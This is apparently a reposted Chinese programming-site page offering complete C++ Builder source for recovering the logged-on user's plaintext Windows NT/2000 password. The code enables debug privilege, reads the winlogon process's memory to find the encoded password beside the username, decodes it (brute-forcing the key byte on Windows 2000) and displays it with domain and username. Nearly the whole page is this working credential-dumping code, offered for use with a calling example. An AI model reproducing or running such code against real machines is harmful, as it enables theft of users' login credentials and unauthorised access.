获取WinNT/Win2k当前用户名和密码

来源:互联网 发布:三只松鼠 淘宝 京东 编辑:程序博客网 时间:2024/05/15 23:43
// 获取WinNT/Win2k当前用户名和密码,调用以下函数即可:
// bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
//---------------------------------------------------------------------------
typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef struct _QUERY_SYSTEM_INFORMATION
{
    DWORD GrantedAccess;
    DWORD PID;
    WORD HandleType;
    WORD HandleId;
    DWORD Handle;
}QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
    DWORD Count;
    DWORD Unk04;
    DWORD Unk08;
}PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
    DWORD LoadAddress;
    DWORD Size;
    DWORD Unk08;
    DWORD Enumerator;
    DWORD Unk10;
    char Name [0x108];
}PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
    DWORD HashByte;
    DWORD Unk04;
    DWORD Unk08;
    DWORD Unk0C;
    FILETIME LoggedOn;
    DWORD Unk18;
    DWORD Unk1C;
    DWORD Unk20;
    DWORD Unk24;
    DWORD Unk28;
    UNICODE_STRING EncodedPassword;
}ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT(void);
BOOL IsWin2K(void);
BOOL AddDebugPrivilege(void);
DWORD FindWinLogon(void);
BOOL LocatePasswordPageWinNT(DWORD, PDWORD);
BOOL LocatePasswordPageWin2K(DWORD, PDWORD);
void ReturnWinNTPwd(String &, String &, String &);
void ReturnWin2kPwd(String &, String &, String &);
bool GetPassword(String &, String &, String &);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION        pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER       pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER      pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING      pfnRtlRunDecodeUnicodeString;

DWORD dwPwdLen = 0;
PVOID pvRealPwd = NULL;
PVOID pvPwd = NULL;
DWORD dwHashByte = 0;
wchar_t wszUserName[0x400];
wchar_t wszUserDomain[0x400];
//---------------------------------------------------------------------------
bool GetPassword(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
        if(!IsWinNT() && !IsWin2K())
    {
        // 只适合于2000或者xp
        return false;
    }
    // Add debug privilege to PasswordReminder -
    // this is needed for the search for Winlogon.
    if(!AddDebugPrivilege())
    {
        // 不能够添加debug特权
        return false;
    }
    // debug特权已经成功加入到本程序
    HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
    pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)
            GetProcAddress(hNtDll,"NtQuerySystemInformation");
    pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)
            GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
    pfnRtlQueryProcessDebugInformation =(PFNRTLQUERYPROCESSDEBUGINFORMATION)
            GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
    pfnRtlDestroyQueryDebugBuffer =    (PFNRTLDESTROYQUERYDEBUGBUFFER)
            GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer");
    pfnRtlRunDecodeUnicodeString =(PFNTRTLRUNDECODEUNICODESTRING)
            GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString");
    // Locate WinLogon's PID - need debug privilege and admin rights.
    DWORD dwWinLogonPID = FindWinLogon ();
    if(!dwWinLogonPID)
    {
        // 找不到进程WinLogon 或者正在使用 NWGINA.DLL
        // 导致不能在内存中找到密码
        FreeLibrary(hNtDll);
        return false;
    }
    // Format("主进程WinLogon的id是 %d (0x%8.8x)./n",
    // ARRAYOFCONST(((int)dwWinLogonPID, (int)dwWinLogonPID))));
    // Set values to check memory block against.
    memset(wszUserName, 0, sizeof (wszUserName));
    memset(wszUserDomain, 0, sizeof (wszUserDomain));
    GetEnvironmentVariableW(L"USERNAME",wszUserName,0x400);
    GetEnvironmentVariableW(L"USERDOMAIN", wszUserDomain, 0x400);

    // Locate the block of memory containing
    // the password in WinLogon's memory space.
    BOOL bFoundPasswordPage;
    //bFoundPasswordPage = FALSE;
    if(IsWin2K())
        bFoundPasswordPage = LocatePasswordPageWin2K(dwWinLogonPID, &dwPwdLen);
    else
        bFoundPasswordPage = LocatePasswordPageWinNT(dwWinLogonPID, &dwPwdLen);
    if(bFoundPasswordPage)
    {
        if(dwPwdLen == 0)
        {
            // Format("登陆信息为: 域名:%S/密码:%S./n",
            // ARRAYOFCONST((wszUserDomain, wszUserName))));
            // 密码长度为空,系统没有密码
        }
        else
        {
            // Format("找到了密码,长度为%d/n", ARRAYOFCONST(((int)dwPwdLen))));
            // Decode the password string.
            if(IsWin2K())
                ReturnWin2kPwd(strCurrDomain, strCurrUser, strCurrPwd);
            else
                ReturnWinNTPwd(strCurrDomain, strCurrUser, strCurrPwd);
        }
    }
    else
    {
        FreeLibrary(hNtDll);
        return false;
    }// 没有在内存中间找到密码
    return true;
}
//---------------------------------------------------------------------------
BOOL IsWinNT(void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
    if(GetVersionEx(&OSVersionInfo))
        return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
    else
        return (FALSE);
}
//---------------------------------------------------------------------------
BOOL IsWin2K(void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
    if (GetVersionEx(&OSVersionInfo))
        return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
                && (OSVersionInfo.dwMajorVersion == 5));
    else
        return (FALSE);
}
//---------------------------------------------------------------------------
BOOL AddDebugPrivilege(void)
{
    HANDLE Token;
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
    DWORD ReturnLength = 0;
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
        if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid))
        {
            TokenPrivileges.PrivilegeCount = 1;
            TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            return (AdjustTokenPrivileges(Token, FALSE, &TokenPrivileges,
                    sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength));
        }
    return (FALSE);
}
//---------------------------------------------------------------------------
// 本文是ccrun(老妖)的一个朋友提供的代码.有问题或建议请致信:info@ccrun.com
// 欢迎光临C++ Builder 研究 http://www.ccrun.com
//---------------------------------------------------------------------------
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD FindWinLogon(void)
{
    #define INITIAL_ALLOCATION 0x100
    DWORD dwRc = 0;
    DWORD dwSizeNeeded = 0;
    PVOID pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION);
    // Find how much memory is required.
    pfnNtQuerySystemInformation(0x10, pvInfo, INITIAL_ALLOCATION, &dwSizeNeeded);
    HeapFree(GetProcessHeap(), 0, pvInfo);
    // Now, allocate the proper amount of memory.
    pvInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSizeNeeded);
    DWORD dwSizeWritten = dwSizeNeeded;
    if(pfnNtQuerySystemInformation(0x10, pvInfo, dwSizeNeeded, &dwSizeWritten))
    {
        HeapFree(GetProcessHeap(), 0, pvInfo);
        return (0);
    }
    DWORD dwNumHandles = dwSizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
    if(dwNumHandles == 0)
    {
        HeapFree(GetProcessHeap(), 0, pvInfo);
        return (0);
    }
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
        (PQUERY_SYSTEM_INFORMATION) pvInfo;
    try
    {
        for(DWORD i=1; i<=dwNumHandles; i++)
        {
            // "5" is the value of a kernel object type process.
            if (QuerySystemInformationP->HandleType == 5)
            {
                PVOID pvDebugBuffer = pfnRtlCreateQueryDebugBuffer(0, 0);
                if(pfnRtlQueryProcessDebugInformation
                        (QuerySystemInformationP->PID, 1, pvDebugBuffer) == 0)
                {
                    PPROCESS_INFO_HEADER pihProcessInfoHeader =
                        (PPROCESS_INFO_HEADER)((DWORD)pvDebugBuffer + 0x60);
                    DWORD dwCount = pihProcessInfoHeader->Count;
                    PPROCESS_INFO piProcessInfo = (PPROCESS_INFO)
                        ((DWORD)pihProcessInfoHeader + sizeof (PROCESS_INFO_HEADER));
                    // Form1->Memo1->Lines->Add(piProcessInfo->Name);
                    AnsiString strName = piProcessInfo->Name;
                    // if(strstr((char *)UpCase(*piProcessInfo->Name), "WINLOGON") != 0)
                    if(strName.UpperCase().Pos("WINLOGON") != 0)
                    {
                        DWORD dwTemp = (DWORD)piProcessInfo;
                        for (DWORD j=0; j<dwCount; j++)
                        {
                            dwTemp += sizeof (PROCESS_INFO);
                            piProcessInfo = (PPROCESS_INFO)dwTemp;
                            strName = piProcessInfo->Name;
                            if(strName.UpperCase().Pos("NWGINA") !=0 )
                                return (0);
                            if(strName.UpperCase().Pos("MSGINA") !=0 )
                                dwRc =QuerySystemInformationP->PID;
                        }
                        if(pvDebugBuffer)
                            pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);
                        HeapFree(GetProcessHeap(), 0, pvInfo);
                        return (dwRc);
                    }
                }
                if (pvDebugBuffer)
                    pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);
            }
            DWORD dwTemp = (DWORD)QuerySystemInformationP;
            dwTemp += sizeof(QUERY_SYSTEM_INFORMATION);
            QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION)dwTemp;
        }
    }
    catch(...)
    {}
    HeapFree(GetProcessHeap(), 0, pvInfo);
    return (dwRc);
}
//---------------------------------------------------------------------------
BOOL LocatePasswordPageWinNT(DWORD dwWinLogonPID, PDWORD pdwPwdLen)
{
    #define USER_DOMAIN_OFFSET_WINNT   0x200
    #define USER_PASSWORD_OFFSET_WINNT 0x400
    BOOL bRc = FALSE;
    HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE, dwWinLogonPID);
    if(!hWinLogonHandle)
        return (bRc);
    *pdwPwdLen = 0;
    SYSTEM_INFO siSystemInfo;
    GetSystemInfo(&siSystemInfo);
    DWORD dwPEB = 0x7ffdf000;
    DWORD dwBytesCopied = 0;
    PVOID pvEBP = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, siSystemInfo.dwPageSize);
    if(!ReadProcessMemory(hWinLogonHandle, (PVOID)dwPEB, pvEBP,
            siSystemInfo.dwPageSize, &dwBytesCopied))
    {
        CloseHandle(hWinLogonHandle);
        return (bRc);
    }
    // Grab the value of the 2nd DWORD in the TEB.
    PDWORD pdwWinLogonHeap = (PDWORD)((DWORD)pvEBP + (6 * sizeof (DWORD)));
    MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor;
    if(VirtualQueryEx(hWinLogonHandle, (PVOID) *pdwWinLogonHeap,
            &mbiMemoryBasicInfor, sizeof(MEMORY_BASIC_INFORMATION)))
        if(((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) &&
                ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0))
        {
            PVOID pvWinLogonMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
                    mbiMemoryBasicInfor.RegionSize);
            if(ReadProcessMemory(hWinLogonHandle, (PVOID)*pdwWinLogonHeap,
                    pvWinLogonMem, mbiMemoryBasicInfor.RegionSize, &dwBytesCopied))
            {
                DWORD i = (DWORD)pvWinLogonMem;
                DWORD dwUserNamePos = 0;
                // The order in memory is wszUserName followed by the wszUserDomain.
                do
                {
                    if((wcscmp(wszUserName, (wchar_t *)i) == 0) &&
                            (wcscmp(wszUserDomain, (wchar_t *)
                            (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
                    {
                        dwUserNamePos = i;
                        break;
                    }
                    i += 2;
                }while(i < (DWORD)pvWinLogonMem + mbiMemoryBasicInfor.RegionSize);
                if(dwUserNamePos)
                {
                    PENCODED_PASSWORD_INFO pepiEncodedPwdInfo =
                            (PENCODED_PASSWORD_INFO)((DWORD)dwUserNamePos +
                            USER_PASSWORD_OFFSET_WINNT);
                    FILETIME ftLocalFileTime;
                    SYSTEMTIME stSystemTime;
                    if(FileTimeToLocalFileTime(&pepiEncodedPwdInfo->LoggedOn,
                        &ftLocalFileTime))
                        if(FileTimeToSystemTime(&ftLocalFileTime, &stSystemTime))
                        {}
                        // Format("你的登陆时间为: %d/%d/%d %d:%d:%d/n",
                        // ARRAYOFCONST((stSystemTime.wMonth, stSystemTime.wDay,
                        // stSystemTime.wYear, stSystemTime.wHour,
                        // stSystemTime.wMinute, stSystemTime.wSecond))));
                    *pdwPwdLen = (pepiEncodedPwdInfo->EncodedPassword.Length
                            & 0x00ff) / sizeof (wchar_t);
                    dwHashByte = (pepiEncodedPwdInfo->EncodedPassword.Length
                            & 0xff00) >> 8;
                    pvRealPwd = (PVOID)(*pdwWinLogonHeap + (dwUserNamePos -
                            (DWORD)pvWinLogonMem) + USER_PASSWORD_OFFSET_WINNT + 0x34);
                    pvPwd = (PVOID)((PBYTE)(dwUserNamePos +
                            USER_PASSWORD_OFFSET_WINNT + 0x34));
                    bRc = TRUE;
                }
            }
        }
    HeapFree(GetProcessHeap(), 0, pvEBP);
    CloseHandle(hWinLogonHandle);
    return (bRc);
}
//---------------------------------------------------------------------------
BOOL LocatePasswordPageWin2K(DWORD dwWinLogonPID, PDWORD pdwPwdLen)
{
    #define USER_DOMAIN_OFFSET_WIN2K    0x400
    #define USER_PASSWORD_OFFSET_WIN2K    0x800
    HANDLE hWinLogonHandle = OpenProcess(PROCESS_QUERY_INFORMATION |
            PROCESS_VM_READ, FALSE, dwWinLogonPID);
    if(hWinLogonHandle == 0)
        return (FALSE);
    *pdwPwdLen = 0;
    SYSTEM_INFO siSystemInfo;
    GetSystemInfo(&siSystemInfo);
    DWORD i = (DWORD)siSystemInfo.lpMinimumApplicationAddress;
    DWORD dwMaxMemory = (DWORD) siSystemInfo.lpMaximumApplicationAddress;
    DWORD dwIncrement = siSystemInfo.dwPageSize;
    MEMORY_BASIC_INFORMATION mbiMemoryBasicInfor;
    while(i < dwMaxMemory)
    {
        if(VirtualQueryEx(hWinLogonHandle, (PVOID)i, &mbiMemoryBasicInfor,
                sizeof (MEMORY_BASIC_INFORMATION)))
        {
            dwIncrement = mbiMemoryBasicInfor.RegionSize;
            if (((mbiMemoryBasicInfor.State & MEM_COMMIT) == MEM_COMMIT) &&
                    ((mbiMemoryBasicInfor.Protect & PAGE_GUARD) == 0))
            {
                PVOID pvRealStartingAddress = HeapAlloc(GetProcessHeap(),
                        HEAP_ZERO_MEMORY, mbiMemoryBasicInfor.RegionSize);
                DWORD dwBytesCopied = 0;
                if(ReadProcessMemory(hWinLogonHandle, (PVOID)i, pvRealStartingAddress,
                        mbiMemoryBasicInfor.RegionSize, &dwBytesCopied))
                {
                    if((wcscmp((wchar_t *)pvRealStartingAddress, wszUserName) == 0)
                            && (wcscmp((wchar_t *)((DWORD)pvRealStartingAddress +
                            USER_DOMAIN_OFFSET_WIN2K), wszUserDomain) == 0))
                    {
                        pvRealPwd = (PVOID)(i + USER_PASSWORD_OFFSET_WIN2K);
                        pvPwd = (PVOID)((DWORD)pvRealStartingAddress +
                                USER_PASSWORD_OFFSET_WIN2K);
                        // Calculate the length of encoded unicode string.
                        PBYTE pbTemp = (PBYTE)pvPwd;
                        DWORD dwLoc = (DWORD)pbTemp;
                        DWORD dwLen = 0;
                        if((*pbTemp == 0) && (*(PBYTE)((DWORD)pbTemp + 1) == 0))
                        {}
                        else
                            do
                            {
                                dwLen++;
                                dwLoc += 2;
                                pbTemp = (PBYTE) dwLoc;
                            }while(*pbTemp != 0);
                        *pdwPwdLen = dwLen;
                        CloseHandle(hWinLogonHandle);
                        return (TRUE);
                    }
                }
                HeapFree(GetProcessHeap(), 0, pvRealStartingAddress);
            }
        }
        else
            dwIncrement = siSystemInfo.dwPageSize;
        // Move to next memory block.
        i += dwIncrement;
    }
    CloseHandle(hWinLogonHandle);
    return (FALSE);
}
//---------------------------------------------------------------------------
void ReturnWinNTPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
    UNICODE_STRING usEncodedString;
    usEncodedString.Length = (WORD)dwPwdLen * sizeof(wchar_t);
    usEncodedString.MaximumLength =
        ((WORD)dwPwdLen * sizeof (wchar_t)) + sizeof(wchar_t);
    usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),
            HEAP_ZERO_MEMORY, usEncodedString.MaximumLength);
    CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof(wchar_t));
    // Finally - decode the password.
    // Note that only one call is required since the hash-byte
    // was part of the orginally encoded string.
    pfnRtlRunDecodeUnicodeString((BYTE)dwHashByte, &usEncodedString);
    strCurrDomain = String(wszUserDomain);
    strCurrUser = String(wszUserName);
    strCurrPwd = AnsiString(usEncodedString.Buffer);
    // Format("你的登陆信息是  域名:%S   用户名:%S  密码:%S/n",
    // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer))));
    // Format("The hash byte is: 0x%2.2x./n", ARRAYOFCONST(((int)dwHashByte))));
    HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer);
}
//---------------------------------------------------------------------------
void ReturnWin2kPwd(String &strCurrDomain, String &strCurrUser, String &strCurrPwd)
{
    // DWORD dwHash = 0;
    UNICODE_STRING usEncodedString;
    usEncodedString.Length = (USHORT)dwPwdLen * sizeof(wchar_t);
    usEncodedString.MaximumLength =
        ((USHORT)dwPwdLen * sizeof(wchar_t)) + sizeof(wchar_t);
    usEncodedString.Buffer = (PWSTR)HeapAlloc(GetProcessHeap(),
            HEAP_ZERO_MEMORY, usEncodedString.MaximumLength);
    // This is a brute force technique since the hash-byte
    // is not stored as part of the encoded string - :>(.
    for(DWORD i=0; i<=0xff; i++)
    {
        CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof (wchar_t));
        // Finally - try to decode the password.
        pfnRtlRunDecodeUnicodeString((BYTE)i, &usEncodedString);
        // Check for a viewable password.
        PBYTE pbTemp = (PBYTE)usEncodedString.Buffer;
        BOOL bViewable = TRUE;
        DWORD j, k;
        for(j=0; (j<dwPwdLen) && bViewable; j++)
        {
            if((*pbTemp) && (*(PBYTE)(DWORD(pbTemp) + 1) == 0))
            {
                if(*pbTemp < 0x20)
                    bViewable = FALSE;
                if(*pbTemp > 0x7e)
                    bViewable = FALSE;
            }
            else
                bViewable = FALSE;
            k = DWORD(pbTemp);
            k += 2;
            pbTemp = (PBYTE)k;
        }
        if(bViewable)
        {
            strCurrDomain = String(wszUserDomain);
            strCurrUser = String(wszUserName);
            strCurrPwd = String(usEncodedString.Buffer);
            // Format("你的登陆信息为: 域名:%S  用户名:%S  密码:%S/n",
            // ARRAYOFCONST((wszUserDomain, wszUserName, usEncodedString.Buffer))));
            // Format("The hash byte is: 0x%2.2x./n", ARRAYOFCONST(((int)i))));
        }
    }
    HeapFree(GetProcessHeap(), 0, usEncodedString.Buffer);
}
//---------------------------------------------------------------------------
// 调用举例
void __fastcall TForm1::Button1Click(TObject *Sender)
{
    String strCurrDomain, strCurrUser, strCurrPwd;
    GetPassword(strCurrDomain, strCurrUser, strCurrPwd);
    Memo1->Lines->Add(strCurrDomain);
    Memo1->Lines->Add(strCurrUser);
    Memo1->Lines->Add(strCurrPwd);
}
原创粉丝点击